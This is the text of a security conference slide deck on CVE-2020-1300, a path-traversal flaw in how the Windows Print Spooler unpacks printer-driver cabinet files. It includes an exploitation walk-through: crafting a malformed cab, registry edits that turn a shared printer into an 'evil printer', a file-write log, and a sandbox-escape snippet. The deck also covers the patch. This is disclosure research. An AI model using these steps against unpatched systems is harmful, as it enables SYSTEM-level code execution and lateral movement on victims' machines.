Evil Printer
How to Hack Windows Machines with Printing Protocol
Who are We?

• Zhipeng Huo (@R3dF09)
  • Senior security researcher
  • Member of EcoSec Team at Tencent Security Xuanwu Lab
  • Windows and macOS platform security
  • Speaker of Black Hat Europe 2018
Who are We?

• Chuanda Ding (@FlowerCode_)
  • Senior security researcher
  • Leads EcoSec Team at Tencent Security Xuanwu Lab
  • Windows platform security
  • Speaker of Black Hat Europe 2018, DEF CON China 2018, CanSecWest 2017/2016
Agenda

• Printing internals
• Attack surfaces
• CVE-2020-1300
  • Exploitation walk-through
  • Patch
• Conclusion
Evil Printer?

https://twitter.com/R3dF09/status/1271485928989528064
How does Network Printing Work?

Hey, server, print this document

Hey, printer, print this

Done!
Rendering in Network Printing

**Client-side Rendering**

- Client
  - Application Data
  - Printer Driver
  - Printer Data
  - Send Printer Data

**Server-side Rendering**

- Client
  - Send Application Data

- Server
  - Application Data
  - Printer Driver
  - Printer Data
What is Printer Driver?

- Rendering component
  - Convert application data into printer specified data
- Configuration component
  - Enable user to configure printer
“In order to support both client-side and server-side rendering, it is a requirement that printer drivers are available to print server and print client.”

Supporting Client-Side Rendering and Server-Side Rendering

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-prsod/e47fedcc-d422-42a6-89fc-f04eb0c168e3
How is Printer Drivers Distributed?

**Point-And-Print**

- Allows a print client to download printer driver directly from a print server

**Package Point-And-Print**

- Allows a print client to download a printer support package that includes the print driver
“The package approach to driver installation provides improved security for point and print by checking driver signing during the establishment of a point and print connection.”

Point and Print with Packages
https://docs.microsoft.com/en-us/windows-hardware/drivers/print/point-and-print-with-packages
Print Spooler Service

• Manages printer drivers
  • Retrieves correct printer driver
  • Loads the driver
• Primary component of Windows Printing
  • Auto-start service, always running
  • Manage the printing process
  • Export printing APIs
  • Implements both Print Client and Server roles
• Dangerous design
  • SYSTEM privilege level
  • Does networking
  • Dynamically loads third-party binaries
Client-Server Printing Model

Print Client

- Applications
  - Printing API
  - Print Spooler
    - Printer Driver

Print Server

- Print Spooler
  - Print Queue
  - Printer Driver

SMB
Why Target Windows Printing?

- Much older than average Windows legacies
  - More than 25 years (!)
- One of the most important services
  - Highly integrated with OS
- Very complex and confusing
- Highest privilege level
Local Attack Surfaces

• Windows printing has many services and components work at highest privilege level
• They export surfaces to lower privilege level even AppContainer
• Abusing them could result in Local Privilege Escalation or Sandbox Escape
Remote Attack Surfaces

• Attack print server
  • Expose the System in the unsafe network

• **Attack print client**
  • May be suffering from the unsafe print server (Evil Printer)
What Happens Behind the Scene when Windows Connect to a Printer?
Print Client Connects to Print Server

**PowerShell**

- `Add-Printer -ConnectionName \printServer\printerName`

**Win32 Print Spooler API**

- `AddPrinterConnection`
- `AddPrinterConnection2`

**GUI**

- `printui /im`
All Roads to winspool! `AddPrinterConnection2`

```c
BOOL AddPrinterConnection2(
  _In_  HWND hWnd,
  _In_  LPCTSTR pszName,
  DWORD dwLevel,
  _In_  PVOID pConnectionInfo
);
```

`pszName` [in]
A pointer to a null-terminated string that specifies the name of a printer to which the current user wishes to establish a connection.
Warning Dialog after AddPrinterConnection2
Purpose of Warning Dialog

• What If the Printer Driver is Malicious?
  • CVE-2016-3238
  • Windows Print Spooler Remote Code Execution
    • A remote code execution vulnerability exists when the Windows Print Spooler service does not properly validate print drivers while installing a printer from servers.

• “The update addresses the vulnerability by issuing a warning to users who attempt to install untrusted printer drivers”
AddPrinterConnection2 Internals

1. RPC call
2. RPC call
3. return
4. return
AddPrinterConnection2 Internals

• **ERROR_PRINTER_DRIVER_DOWNLOAD_NEEDED**
  • 0x00000BB9

• **winspool!DownloadAndInstallLegacyDriver**
  • ntprint!PSetupDownloadAndInstallLegacyDriver
    • ntprint!DisplayWarningForDownloadDriver
    • ntprint!DownloadAndInstallLegacyDriver
Point-and-Print or Package Point-And-Print?
Capture the Driver Install
It’s Point-And-Print!

How to enable Package Point-And-Print mechanism?
spoolsv!RpcAddPrinterConnection2

win32spl!TPrintOpen::CreateLocalPrinter

win32spl!TPrintOpen::AcquireV3DriverAndAddPrinter

win32spl!TDriverInstall::DeterminateInstallType

win32spl!TDriverInstall::CheckPackagePointAndPrint
if (v5 >= 0) {
    v14 = *v1;
    if (*((BYTE *)(v14 + 0xA8) & 1) {
        v5 = TDriverInstall::DownloadAndImportDriverPackages(v2,
                    (struct _DRIVER_INFO_8W *)v14);
    }
}

Get Object

Print Client

win32spl!NCSRCConnect::TConnection::RemoteGetPrinterDriver

Print Server

spoolsv!TRemoteWinspool::RpcAsyncGetPrinterDriver
Driver Info 8W Structure

+0x000 cVersion : Uint4B
+0x008 pName : Ptr64 Wchar
+0x010 pEnvironment : Ptr64 Wchar
+0x018 pDriverPath : Ptr64 Wchar
+0x020 pDataFile : Ptr64 Wchar
+0x028 pConfigFile : Ptr64 Wchar
+0x030 pHelpFile : Ptr64 Wchar
+0x038 pDependentFiles : Ptr64 Wchar
+0x040 pMonitorName : Ptr64 Wchar
+0x048 pDefaultDataType : Ptr64 Wchar
+0x050 pszzPreviousNames : Ptr64 Wchar
+0x058 ftDriverDate : _FILETIME
+0x060 dwlDriverVersion : Uint8B
+0x068 pszMfgName : Ptr64 Wchar
+0x070 pszOEMUrl : Ptr64 Wchar
+0x078 pszHardwareID : Ptr64 Wchar
+0x080 pszProvider : Ptr64 Wchar
+0x088 pszPrintProcessor : Ptr64 Wchar
+0x090 pszVendorSetup : Ptr64 Wchar
+0x098 pszzColorProfiles : Ptr64 Wchar
+0x0a0 pszInfPath : Ptr64 Wchar
+0x0a8 dwPrinterDriverAttributes : Uint4B
+0x0b0 pszzCoreDriverDependencies : Ptr64 Wchar
+0x0b8 ftMinInboxDriverVerDate : _FILETIME
+0x0c0 dwlMinInboxDriverVerVersion : Uint8B
PrinterDriverAttributes

#define PRINTER_DRIVER_PACKAGE_AWARE 0x00000001
#define PRINTER_DRIVER_XPS 0x00000002
#define PRINTER_DRIVER_SANDBOX_ENABLED 0x00000004
#define PRINTER_DRIVER_CLASS 0x00000008
#define PRINTER_DRIVER_DERIVED 0x00000010
#define PRINTER_DRIVER_NOT_SHAREABLE 0x00000020
#define PRINTER_DRIVER_CATEGORY_FAX 0x00000040
#define PRINTER_DRIVER_CATEGORY_FILE 0x00000080
#define PRINTER_DRIVER_CATEGORY_VIRTUAL 0x00000100
#define PRINTER_DRIVER_CATEGORY_SERVICE 0x00000200
#define PRINTER_DRIVER_SOFT_RESET_REQUIRED 0x00000400
#define PRINTER_DRIVER_SANDBOX_DISABLED 0x00000800
#define PRINTER_DRIVER_CATEGORY_3D 0x00001000
#define PRINTER_DRIVER_CATEGORY_CLOUD 0x00002000
Driver Package

• A collection of the files needed to successful load a driver
  • device information file (.inf)
  • catalog file
  • all the files copied by .inf file
Where to Get PCC (Package Cabinet)

InfPath:
C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_85c8869cca48951c\prnms003.inf

PackagePath:
C:\Windows\System32\spool\drivers\x64\PCC\prnms003.inf_amd64_85c8869cca48951c.cab
DownloadAndImportDriverPackages

• TDriverInstall::DownloadAndImportDriverPackages
  • TDriverInstall::DownloadAndExtractDriverPackageCab
    • TDriverInstall::InternalCopyFile
    • NCabbingLibrary::LegacyCabUnpack
Cabinet File

• Archive-file format for Microsoft Windows
• A file that has the suffix .cab and that acts as a container for other files
• It serves as a compressed archive for a group of files
File Decompression Interface APIs

- **Cabinet!FDICreate**
  - Creates an FDI context

- **Cabinet!FDICopy**
  - Extracts files from cabinet

- **Cabinet!FDIDestroy**
  - Deletes an open FDI context
**FDICopy**

```c
BOOL DIAMONDAPI FDICopy(
    HFDI hfdi,
    LPSTR pszCabinet,
    LPSTR pszCabPath,
    int flags,
    PFNFDINOTIFY pfnfdin,
    PFNFDIDECRYPT pfnfdid,
    void *pvUser
);
```

**pfnfdin**
Pointer to an application-defined callback notification function to update the application on the status of the decoder. The function should be declared using the **FNFDINOTIFY** macro.
FDICopy(v12,
    pszCabinet,
    pszCabPath,
    0,
    (PFNFDINOTIFY)NCabbingLibrary::FdiCabNotify,
    0i64,
    &pvUser);
NCabbingLibrary::FdiCabNotify

• fdintCOPY_FILE Information identifying the file to be copied

```cpp
if ( v15 >= 0 ) {
    v17 = *(_QWORD *)v3;
    v21 = -1i64;
    v15 = NCabbingLibrary::ProcessCopyFile(
        (NCabbingLibrary *)Block,
        *(const unsigned __int16 **) (v17 + 8),
        (const unsigned __int16 *)&v21,
        v16);
    operator delete(Block);
    v4 = v21;
}
```
NCabbingLibrary::ProcessCopyFile

• NCabbingLibrary::CreateFullPath
  • Check ‘..\’
  • But forget ‘../’?

• _wopen
  • _O_BINARY|_O_CREAT|_O_TRUNC|_O_RDWR

```cpp
v8 = NCabbingLibrary::CreateFullPath((NCabbingLibrary *)FileName, (const unsigned __int16 *)v9);
if ( v8 >= 0 )
{
  v7 = (NCoreLibrary::TString *)_wopen(v10, 0x8302, 0x180164);
  *(QWORD *)a3 = v7;
}
```
Make Malformed Cab

- `makecab 112112DiagSvcs2USERENV.dll test.cab`
HexEdit Cab file
Malformed Cabinet
Prepare Print Server

• Install Virtual Printer
  • CutePDF Writer

• Share the printer

SHA1 of CuteWriter: fdf1f3f2a83d62b15c6bf84095fe3ae2ef8e4c38
Default **PrinterDriverAttributes** of CutePDF Writer

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Data</th>
</tr>
</thead>
<tbody>
<tr>
<td>PrinterDriverAttributes</td>
<td>REG_DWORD</td>
<td>0x00000000 (0)</td>
</tr>
</tbody>
</table>
Make an Evil Printer

- HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Print\Environments\Windows x64\Drivers\Version-3\CutePDF Writer v4.0
  - PrinterDriverAttributes = 1
  - InfPath = "c:\test\test.inf"

Create a file C:\test\test.inf

Place test.cab at C:\Windows\System32\spool\drivers\x64\PCC
Make an Evil Printer
## Print Client Connects to Evil Printer

<table>
<thead>
<tr>
<th>Time</th>
<th>Event</th>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>2012.</td>
<td>spoolsv.exe</td>
<td>CreateFile C:\Windows\CSC\v2.0\namespace\192.168.234.135</td>
</tr>
<tr>
<td>2012.</td>
<td>spoolsv.exe</td>
<td>CreateFile C:\Windows\CSC\v2.0\namespace\192.168.234.135</td>
</tr>
<tr>
<td>2012.</td>
<td>spoolsv.exe</td>
<td>CreateFile C:\Windows\CSC\v2.0\namespace\192.168.234.135</td>
</tr>
<tr>
<td>2012.</td>
<td>spoolsv.exe</td>
<td>CreateFile C:\Windows\CSC\v2.0\namespace\192.168.234.135</td>
</tr>
<tr>
<td>2012.</td>
<td>spoolsv.exe</td>
<td>CreateFile C:\Windows\CSC\v2.0\namespace\192.168.234.135</td>
</tr>
<tr>
<td>2012.</td>
<td>spoolsv.exe</td>
<td>CreateFile C:\Windows\System32\spool\7A47816-0FC7-4EB9-946B-E50331D06EB5</td>
</tr>
<tr>
<td>2012.</td>
<td>spoolsv.exe</td>
<td>CreateFile C:\Windows\System32\spool\7A47816-0FC7-4EB9-946B-E50331D06EB5</td>
</tr>
<tr>
<td>2012.</td>
<td>WriteFile</td>
<td>C:\Windows\System32\spool\7A47816-0FC7-4EB9-946B-E50331D06EB5.cab</td>
</tr>
<tr>
<td>2012.</td>
<td>WriteFile</td>
<td>C:\Windows\System32\spool\7A47816-0FC7-4EB9-946B-E50331D06EB5.cab</td>
</tr>
<tr>
<td>2012.</td>
<td>WriteFile</td>
<td>C:\Windows\System32\spool\7A47816-0FC7-4EB9-946B-E50331D06EB5.cab</td>
</tr>
<tr>
<td>2012.</td>
<td>WriteFile</td>
<td>C:\Windows\System32\spool\7A47816-0FC7-4EB9-946B-E50331D06EB5.cab</td>
</tr>
<tr>
<td>2012.</td>
<td>WriteFile</td>
<td>C:\Windows\System32\spool\7A47816-0FC7-4EB9-946B-E50331D06EB5.cab</td>
</tr>
<tr>
<td>2012.</td>
<td>WriteFile</td>
<td>C:\Windows\System32\spool\7A47816-0FC7-4EB9-946B-E50331D06EB5.cab</td>
</tr>
<tr>
<td>2012.</td>
<td>WriteFile</td>
<td>C:\Windows\System32\spool\7A47816-0FC7-4EB9-946B-E50331D06EB5.cab</td>
</tr>
<tr>
<td>2012.</td>
<td>WriteFile</td>
<td>C:\Windows\System32\spool\7A47816-0FC7-4EB9-946B-E50331D06EB5.cab</td>
</tr>
<tr>
<td>2012.</td>
<td>WriteFile</td>
<td>C:\Windows\System32\spool\7A47816-0FC7-4EB9-946B-E50331D06EB5.cab</td>
</tr>
<tr>
<td>2012.</td>
<td>WriteFile</td>
<td>C:\Windows\System32\spool\7A47816-0FC7-4EB9-946B-E50331D06EB5.cab</td>
</tr>
<tr>
<td>2012.</td>
<td>CreateFile</td>
<td>C:\Windows\System32\DagSvca\USERENV.d1</td>
</tr>
<tr>
<td>2012.</td>
<td>WriteFile</td>
<td>C:\Windows\System32\DagSvca\USERENV.d1</td>
</tr>
<tr>
<td>2012.</td>
<td>WriteFile</td>
<td>C:\Windows\System32\DagSvca\USERENV.d1</td>
</tr>
<tr>
<td>2012.</td>
<td>WriteFile</td>
<td>C:\Windows\System32\DagSvca\USERENV.d1</td>
</tr>
<tr>
<td>2012.</td>
<td>WriteFile</td>
<td>C:\Windows\System32\DagSvca\USERENV.d1</td>
</tr>
<tr>
<td>2012.</td>
<td>CreateFile</td>
<td>C:\Windows\System32\DagSvca\USERENV.d1</td>
</tr>
<tr>
<td>2012.</td>
<td>WriteFile</td>
<td>C:\Windows\System32\DagSvca\USERENV.d1</td>
</tr>
<tr>
<td>2012.</td>
<td>WriteFile</td>
<td>C:\Windows\System32\DagSvca\USERENV.d1</td>
</tr>
<tr>
<td>2012.</td>
<td>WriteFile</td>
<td>C:\Windows\System32\DagSvca\USERENV.d1</td>
</tr>
<tr>
<td>2012.</td>
<td>WriteFile</td>
<td>C:\Windows\System32\DagSvca\USERENV.d1</td>
</tr>
<tr>
<td>2012.</td>
<td>CreateFile</td>
<td>C:\Windows\System32\DagSvca\USERENV.d1</td>
</tr>
<tr>
<td>2012.</td>
<td>CreateFile</td>
<td>C:\Windows\System32\DagSvca\USERENV.d1</td>
</tr>
<tr>
<td>2012.</td>
<td>CreateFile</td>
<td>C:\Windows\System32\DagSvca\USERENV.d1</td>
</tr>
<tr>
<td>2012.</td>
<td>CreateFile</td>
<td>C:\Windows\System32\DagSvca\USERENV.d1</td>
</tr>
<tr>
<td>2012.</td>
<td>CreateFile</td>
<td>C:\Windows\System32\DagSvca\USERENV.d1</td>
</tr>
<tr>
<td>2012.</td>
<td>CreateFile</td>
<td>C:\Windows\System32\DagSvca\USERENV.d1</td>
</tr>
<tr>
<td>2012.</td>
<td>CreateFile</td>
<td>C:\Windows\System32\DagSvca\USERENV.d1</td>
</tr>
</tbody>
</table>
What Else Can It Do?
COM in 60 seconds

James Forshaw

Edge is Watching You PWN

Edge + LPAC ~20 CLSIDs

Edge + AC ~40 CLSIDs

https://www.youtube.com/watch?v=dfMuzAZRGm4
Microsoft Edge

• Microsoft Edge renderer process is the most restricted AppContainer Sandbox
• Capability: `lpacPrinting`
CPrintTicket WoW Services
AppContainer
sandbox escape

iprintticketserviceptr print_ticket;

cocreateinstance(clsid_printticket,
    nullptr,
    clsctx_local_server,
    iid_ppv_args(&print_ticket));

print_ticket->bind(l"\\[\[printserver]\\]\[printername]", 1);
Sandbox Escape

Windows OS

AppContainer

DllHost

Spooler

CPrintTicketServerBase::Bind

GetPrinterDriver

CreateFile

CreateFile
Sandbox Escape Demo
Patch

if ( !wcsstr(Str, L"../") && !wcsstr(Str, L"..\") )
{
    v14 = *(QWORD *)v3;
    v22 = -1i64;
    v15 = NCabbingLibrary::ProcessCopyFile(
            (NCabbingLibrary *)Str,
            *(const unsigned __int16 **)(v14 + 8),
            (const unsigned __int16 *)&v22,
            v13);
    operator delete(Str);
    v4 = v22;
    v3[2] = v15;
    return v4;
}
Possible Attack Scenarios

• Lateral movement
  • Modify a trusted printer

• Remote code execution
  • Connect to attacker-controlled printer

• Privilege escalation
  • Make a printer connection attempt

• `NT AUTHORITY\SYSTEM` for all scenarios
A remote code execution vulnerability exists when Microsoft Windows fails to properly handle cabinet files.

To exploit the vulnerability, an attacker would have to convince a user to either open a specially crafted cabinet file or spoof a network printer and trick a user into installing a malicious cabinet file disguised as a printer driver.

The update addresses the vulnerability by correcting how Windows handles cabinet files.
Don’t Be Panic

do {
    if ( v10 >= v6 )
        break;
    v11 = v7[v10] - 47; // "/"
    if ( v11 <= 45u ) // "\\"
        {
            v12 = v11;
            v13 = 0x20000000801i64;
            if ( _bittest64(&v13, v12) )
                v21 = v9 + 1;
        }
    v10 = ++v9;
} while ( v7[v9] );

cabview!CCabItemList::AddItem
Conclusion

Windows Printing Implementation is complex

Walk through of CVE-2020-1300

• Can be exploited both locally and remotely
• Execute arbitrary code
• Sandbox Escape
• NT AUTHORITY\SYSTEM

For developers, handle the cabinet API callbacks carefully

Logic bugs are always fun!
Special Thanks

• James Forshaw (@tiraniddo)
• Vectra AI
• Yang Yu (@tombkeeper)
Thanks.
Tencent Security Xuanwu Lab
@XuanwuLab
xlab.tencent.com